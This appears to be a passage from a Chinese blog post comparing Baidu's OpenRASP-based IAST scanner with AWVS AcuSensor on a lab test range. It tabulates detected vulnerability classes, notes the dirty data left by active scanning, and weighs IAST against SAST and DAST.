这里重启tomcat即可开始iast插装扫描
对比awvs扫描,开启AcuSensor,开启后扫描目标会有AcuSensor
图标
为了确保漏洞覆盖,这里使用BURP
录制一份测试靶场的流量,导入到AWVS中
新建目标,导入文件
默认配置,结果不准确
常规漏洞测试项 | 扫描结果 | IAST检测 |
---|---|---|
目录遍历 | √ | √ |
任意文件读取 | √ | √ |
命令执行 | × | × |
XXE | × | × |
文件上传 | √ | × |
反序列化漏洞 | × | × |
ssrf | × | × |
sql注入 | √ | √ |
xss | √ | × |
struts命令执行 | √ | × |
fastjson反序列化 | × | × |
逻辑漏洞(越权) | × | × |
根据openrasp靶场修改一下,进行insert操作
http://192.168.244.129:8080/vulns/insert.jsp
查询数据库,可以看到表内有3条数据
开启IAST扫描
依赖awvs主动扫描,这里插入了340条脏数据
]]>这里测试时,扫描规则为默认,实际脏数据可能会少些
相对于awvs和netsparker的IAST,百度iast为主动型插桩技术,无需人工配置任务及代理等,由agent采集请求及hook点信息,自动选择扫描漏洞类型,极大的增加覆盖率和效率,减少脏数据产生
主动型扫描,不适用于参数加密、编码、防重放等场景
管理后台部署参考 OpenRASP 部署
参考 安装灰盒扫描工具
项目 | IAST | SAST | DAST |
---|---|---|---|
测试覆盖度 | 高,由功能测试覆盖度保障 | 高 | 低 |
检出率 | 高 | 高 | 中 |
误报率 | 低 | 高,需要编写规则 | 低 |
扫描效率 | 准实时检测 | 非实时,与程序复杂度、代码量相关 | 非实时,程序越复杂,安全测试用例就越多 |
扫描报告 | 包含动态数据流、请求响应、应用代码信息 | 只有静态代码信息 | 只有请求和响应信息 |
并发检测 | 资源消耗分布端上,可支持上百个任务 | CPU 消耗较大 | 网络资源消耗 |
语言支持 | 区分不同语 | 区分不同语 | 不区分语言 |
框架支持 | 一定程度区分 | 一定程度区分 | 不区分框架 |
使用风险 | 无 | 无 | 脏数据、大流量 |
使用成本 | 低,基本没有误报 | 高,人工排查误报 | 低 |
开发流程集成度 | 无缝集成开发和测试阶段,零成本完成 | 安全测试 | 开发阶段,成本较高 测试阶段,成本较高 |
]]>通过综合对比,IAST 不仅解决了传统 DAST 无法精确定位漏洞位置的问题,还有着比传统 SAST 技术低得多的误报率。在脏数据处理、对系统稳定性影响更小,这里对IAST产品做调研